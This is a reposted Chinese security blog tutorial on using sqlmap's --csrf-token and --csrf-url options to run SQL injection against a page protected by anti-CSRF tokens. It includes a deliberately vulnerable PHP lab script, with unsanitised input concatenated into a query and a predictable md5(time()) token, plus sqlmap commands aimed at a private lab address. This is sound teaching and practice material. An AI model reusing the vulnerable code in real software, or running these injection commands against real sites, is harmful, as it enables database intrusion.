sqlmap绕过CSRF检测进行注入

admin 2022年3月1日11:46:15评论176 views字数 1820阅读6分4秒阅读模式






sqlmap绕过CSRF检测进行注入
sqlmap绕过CSRF检测进行注入




最近在准备比赛,打sqlilabs时看了一下sqlmap的wiki,发现了–csrf-token和–csrf-url的参数,于是写了个php版本的bug试了一试。

同时也了解了一下大家对csrf注入的普遍做法:sqlmap+burp正则匹配,两相比较,还是sqlmap自带的功能比较方便。





sqlmap绕过CSRF检测进行注入
sqlmap绕过CSRF检测进行注入


CSRF-写一个bug


CSRF的普遍防御方法是增加anti-csrf token,也就是一串不可预测的字符串。于是动手写了一个php版本防csrf的sqli脚本,这里写的并不规范,时间戳是可以被预测的,而且此脚本可以被绕过token检测,有兴趣可以琢磨一下。

<?php    session_start();    //生成随机token    $token = md5(time());    //获取name参数    $name = isset($_GET['name']) ? $_GET['name']: '';
//校验token if ($_GET['token'] == $_SESSION['token']) { //执行sql语句 $mysqli = new mysqli("127.0.0.1","root","root"); $mysqli->select_db("test"); if (!$mysqli->connect_error) { $query = "select * from admin where username = '$name'"; $result = $mysqli->query($query); if (!$mysqli->error) { while ($row = $result->fetch_row()) { echo $row; } } else { echo $mysqli->error; } } else { echo $mysqli->connect_error; } $mysqli->close(); } else { echo "no token"; }
//以hidden表单元素的形式输出token echo "<input type="hidden" name="token" value="$token">"; //刷新SESSION中token $_SESSION['token'] = $token;
?>


漏洞利用


sqlmap 中有这样两个参数:

  • –csrf-token=”token_name”,指定随机化token的参数名

  • –csrf-url=”http://x.x.x.x/page”,指定获取token值的地址

如果没有指定–csrf-url,则默认从当前页面获取token。先来看看不指定token时,sqlmap的输出:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session

sqlmap绕过CSRF检测进行注入

sqlmap根据关键字,识别出了token参数,但是默认不获取token,没有发现注入点。

再来看看指定token时的输出:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token"


sqlmap绕过CSRF检测进行注入


确认了注入的存在,并且在wireshark中观察到token被sqlmap自动更新

sqlmap绕过CSRF检测进行注入



在这个demo中,获取token的页面和注入点相同,在真实场景中,可能需要单独获取token值,这时要用到–csrf-url=<url>的参数。

所以使用以下命令,效果也是一样的:

sqlmap -u "http://192.168.154.134/tokensql.php?name=admin&token=123" --flush-session --csrf-token="token" --csrf-url="http://192.168.154.134/tokensql.php" 

作者:woojay,文章转载于Woojay's Blog。

往期精彩推荐
sqlmap绕过CSRF检测进行注入

记一次搭建靶场渗透过程(1)

记一次搭建靶场渗透过程(2)

记一次搭建靶场渗透过程(3)

sqlmap绕过CSRF检测进行注入

sqlmap绕过CSRF检测进行注入

           团队介绍

银河护卫队super,是一个致力于红队攻防实战、内网渗透、代码审计、安卓逆向、安全运维等技术干货分享的队伍,定期分享常用渗透工具、复现教程等资源。欢迎有想法、乐于分享的具备互联网分享精神的安全人士进行交流学习。
sqlmap绕过CSRF检测进行注入

点击关注银河护卫队super

原文始发于微信公众号(银河护卫队super):sqlmap绕过CSRF检测进行注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日11:46:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqlmap绕过CSRF检测进行注入http://cn-sec.com/archives/808699.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息